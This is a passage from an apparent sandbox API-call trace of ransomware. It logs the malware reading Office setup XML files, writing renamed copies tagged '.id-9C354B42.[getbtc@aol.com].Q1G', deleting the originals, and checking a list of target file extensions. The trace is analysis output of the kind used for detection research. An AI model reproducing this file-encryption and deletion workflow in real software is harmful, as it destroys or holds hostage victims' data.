Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.165] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.165] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.167] GetLastError () returned 0x0 [0042.167] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1861, lpOverlapped=0x0) returned 1 [0042.169] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0042.170] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.170] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.170] SetEndOfFile (hFile=0x1fc) returned 1 [0042.170] CloseHandle (hObject=0x1fc) returned 1 [0042.170] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.170] SetEndOfFile (hFile=0x19c) returned 1 [0042.171] CloseHandle (hObject=0x19c) returned 1 [0042.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0042.171] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0042.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.172] lstrlenW (lpString=".doc") returned 4 [0042.172] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.172] lstrlenW (lpString=".docx") returned 5 [0042.172] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.172] lstrlenW (lpString=".pdf") returned 4 [0042.172] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.172] lstrlenW (lpString=".xls") returned 4 [0042.172] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.172] lstrlenW (lpString=".xlsx") returned 5 [0042.172] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.172] lstrlenW (lpString=".ppt") returned 4 [0042.172] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.172] lstrlenW (lpString=".zip") returned 4 [0042.172] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.172] lstrlenW (lpString=".rar") returned 4 [0042.172] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.172] lstrlenW (lpString=".bz2") returned 4 [0042.172] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.172] lstrlenW (lpString=".7z") returned 3 [0042.172] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.172] lstrlenW (lpString=".dbf") returned 4 [0042.172] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.172] lstrlenW (lpString=".1cd") returned 4 [0042.172] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.173] lstrlenW (lpString=".jpg") returned 4 [0042.173] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.173] lstrlenW (lpString=".doc") returned 4 [0042.173] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.173] lstrlenW (lpString=".docx") returned 5 [0042.173] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.173] lstrlenW (lpString=".pdf") returned 4 [0042.173] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.173] lstrlenW (lpString=".xls") returned 4 [0042.173] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.173] lstrlenW (lpString=".xlsx") returned 5 [0042.173] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.173] lstrlenW (lpString=".ppt") returned 4 [0042.173] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.173] lstrlenW (lpString=".zip") returned 4 [0042.173] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.173] lstrlenW (lpString=".rar") returned 4 [0042.173] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.173] lstrlenW (lpString=".bz2") returned 4 [0042.173] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.173] lstrlenW (lpString=".7z") returned 3 [0042.173] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.173] lstrlenW (lpString=".dbf") returned 4 [0042.173] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.173] lstrlenW (lpString=".1cd") returned 4 [0042.173] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0042.173] lstrlenW (lpString=".jpg") returned 4 [0042.173] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.174] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0042.174] lstrlenW (lpString="VisioMUI.XML") returned 12 [0042.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.175] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=9503) returned 1 [0042.175] CloseHandle (hObject=0x19c) returned 1 [0042.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0042.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.176] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.176] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.177] GetLastError () returned 0x0 [0042.177] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x251f, lpOverlapped=0x0) returned 1 [0042.181] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0042.182] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.182] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.182] SetEndOfFile (hFile=0x1fc) returned 1 [0042.182] CloseHandle (hObject=0x1fc) returned 1 [0042.183] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.183] SetEndOfFile (hFile=0x19c) returned 1 [0042.183] CloseHandle (hObject=0x19c) returned 1 [0042.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0042.184] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0042.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.184] lstrlenW (lpString=".doc") returned 4 [0042.184] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.184] lstrlenW (lpString=".docx") returned 5 [0042.184] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.184] lstrlenW (lpString=".pdf") returned 4 [0042.184] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.184] lstrlenW (lpString=".xls") returned 4 [0042.184] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.184] lstrlenW (lpString=".xlsx") returned 5 [0042.184] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.184] lstrlenW (lpString=".ppt") returned 4 [0042.184] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.184] lstrlenW (lpString=".zip") returned 4 [0042.184] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.184] lstrlenW (lpString=".rar") returned 4 [0042.184] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.184] lstrlenW (lpString=".bz2") returned 4 [0042.184] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.184] lstrlenW (lpString=".7z") returned 3 [0042.184] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.185] lstrlenW (lpString=".dbf") returned 4 [0042.185] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.185] lstrlenW (lpString=".1cd") returned 4 [0042.185] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.185] lstrlenW (lpString=".jpg") returned 4 [0042.185] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.185] lstrlenW (lpString=".doc") returned 4 [0042.185] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.185] lstrlenW (lpString=".docx") returned 5 [0042.185] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.185] lstrlenW (lpString=".pdf") returned 4 [0042.185] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.185] lstrlenW (lpString=".xls") returned 4 [0042.185] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.185] lstrlenW (lpString=".xlsx") returned 5 [0042.185] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.185] lstrlenW (lpString=".ppt") returned 4 [0042.185] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.185] lstrlenW (lpString=".zip") returned 4 [0042.185] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.185] lstrlenW (lpString=".rar") returned 4 [0042.185] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.185] lstrlenW (lpString=".bz2") returned 4 [0042.185] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.185] lstrlenW (lpString=".7z") returned 3 [0042.185] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.185] lstrlenW (lpString=".dbf") returned 4 [0042.186] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.186] lstrlenW (lpString=".1cd") returned 4 [0042.186] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0042.186] lstrlenW (lpString=".jpg") returned 4 [0042.186] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.186] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0042.186] lstrlenW (lpString="SETUP.XML") returned 9 [0042.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.187] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=20577) returned 1 [0042.187] CloseHandle (hObject=0x19c) returned 1 [0042.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0042.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.187] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.187] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.188] GetLastError () returned 0x0 [0042.188] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x5061, lpOverlapped=0x0) returned 1 [0042.190] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0042.191] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.191] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.191] SetEndOfFile (hFile=0x1fc) returned 1 [0042.191] CloseHandle (hObject=0x1fc) returned 1 [0042.192] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.192] SetEndOfFile (hFile=0x19c) returned 1 [0042.193] CloseHandle (hObject=0x19c) returned 1 [0042.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0042.193] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0042.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.193] lstrlenW (lpString=".doc") returned 4 [0042.193] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.193] lstrlenW (lpString=".docx") returned 5 [0042.193] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.193] lstrlenW (lpString=".pdf") returned 4 [0042.193] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.193] lstrlenW (lpString=".xls") returned 4 [0042.193] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.193] lstrlenW (lpString=".xlsx") returned 5 [0042.194] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.194] lstrlenW (lpString=".ppt") returned 4 [0042.194] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.194] lstrlenW (lpString=".zip") returned 4 [0042.194] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.194] lstrlenW (lpString=".rar") returned 4 [0042.194] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.194] lstrlenW (lpString=".bz2") returned 4 [0042.194] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.194] lstrlenW (lpString=".7z") returned 3 [0042.194] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.194] lstrlenW (lpString=".dbf") returned 4 [0042.194] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.194] lstrlenW (lpString=".1cd") returned 4 [0042.194] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.194] lstrlenW (lpString=".jpg") returned 4 [0042.194] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.194] lstrlenW (lpString=".doc") returned 4 [0042.194] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.194] lstrlenW (lpString=".docx") returned 5 [0042.194] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.194] lstrlenW (lpString=".pdf") returned 4 [0042.194] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.194] lstrlenW (lpString=".xls") returned 4 [0042.194] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.194] lstrlenW (lpString=".xlsx") returned 5 [0042.194] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.194] lstrlenW (lpString=".ppt") returned 4 [0042.195] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.195] lstrlenW (lpString=".zip") returned 4 [0042.195] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.195] lstrlenW (lpString=".rar") returned 4 [0042.195] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.195] lstrlenW (lpString=".bz2") returned 4 [0042.195] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.195] lstrlenW (lpString=".7z") returned 3 [0042.195] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.195] lstrlenW (lpString=".dbf") returned 4 [0042.195] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.195] lstrlenW (lpString=".1cd") returned 4 [0042.195] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0042.195] lstrlenW (lpString=".jpg") returned 4 [0042.195] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.195] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0042.195] lstrlenW (lpString="VisiorWW.XML") returned 12 [0042.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 